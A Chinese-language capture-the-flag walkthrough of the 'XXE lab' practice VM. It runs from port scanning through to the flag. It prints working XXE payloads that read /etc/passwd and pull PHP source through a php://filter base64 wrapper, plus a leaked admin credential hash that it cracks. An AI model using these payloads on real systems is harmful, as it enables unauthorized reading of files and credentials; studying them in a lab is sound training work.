XXE lab
如果你正在学习xxe漏洞 , 那么xxe lab , 绝对是一个适合你练手的靶场
靶机 : xxe lab
渗透机 : kali + win10
补充 : 因为靶机自带的是nat网络 , 如果需要更改 , 别忘记啦
0x01. 信息收集
1. 确定靶机ip
扫描当前网段ip
kali : 192.168.0.110 靶机 : 192.168.0.111
2. 扫描端口
nmap -p 0-65535 -sV 192.168.0.111
发现开了80和5355端口 , 不知道是什么 , 都访问一下吧 , 80 http端口 , 5355不是http端口
发现是apache默认页面 , 接下来扫描一下目录看看
发现一个robots.txt , 肯定是一个hint信息 , 访问一下吧
上一个可以访问 , 但是发现admin.php访问不了 ,访问一下xxe试试
是一个登录窗口 , 抓包 , 先爆破一下弱口令试试 , 发现竟然是xml传输的数据
那你不先试试有没有xxe漏洞 , 你说是不是铁子
补充 : 由于admin.php不能访问 , 于是我又扫了一下xxe目录下的路径 , 发现了一个admin.php , 还是可以访问的
这个肯定是一个线索 , 我们先对xxe.php登录进行渗透
0x02. 漏洞发现
1.xxe漏洞
xxe是分为有回显和无回显的 , 先来测测看看
通过更改name的值 , 发现在返回包中会有显示 , 那就是有回显啦 , 先来个poc测一测
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><name>&xxe;</name><password>admin</password></root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<name>&xxe;</name>
2. 漏洞利用->flag
这不美滋滋 , 嘿嘿 , 可以读文件 , 那就读一下/xxe/admin.php看看源码怎么写的 , 因为关于后台肯定会有线索
最好用base64编码之后在读取 , 防止显示乱码
payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&xxe;</name><password>admin</password></root>
注意这个细节 , admin.php , 默认是因为当前url的路径下 , 即xxe/admin.php , 然后选中内容发送到decoder解码
解码出现的内容复制到记事本 , 方便观看 ,你不复制直接看也行 , 发现一串认证代码
if ($_POST['username'] == 'administhebest' &&
md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
$_SESSION['valid'] = true;
$_SESSION['timeout'] = time();
$_SESSION['username'] = 'administhebest';
echo "You have entered valid use name and password <br />";
// 发现flag
$flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
echo $flag;
好家伙 , 账号 : administhebest
密码 : e6e061838856bf47e1de730719fb2609 , cmd5撞一下
admin@123 , ok , 接下来就是带着这些数据访问/xxe/admin.php啦 , 注意还有一个login参数
发现了久违的flag , 点击
我靠 , 无法访问 , 继续老规矩用我们的xxe , 去读一下这个flag文件的源码
注意这个小细节 , resource=默认是当前url的相对路径 , 但是flag文件是根目录下的 , 所以我们用./flagmeout.php
发现flag文件路径隐藏在这个一串不知名的编码 , 实际上是base32 , 相对于base64没有两个等于号 , 而且也是数字加字母 , 主要是看长度判断的 , 市面上常用的就那几种编码
解码 : base32 --> base64 --> 明文
发现flag文件在这个目录下 , 继续用我们的xxe读一下文件吧 , 注意小细节: 绝对路径
解码
发现是一串不知名的字符串 , 但是发现了很多的$和; , 再加上是.php文件 , 应该是php代码 , 去在线运行php代码网站 , 试一试
注意: php代码在线执行的php版本 , 如果报错多试几个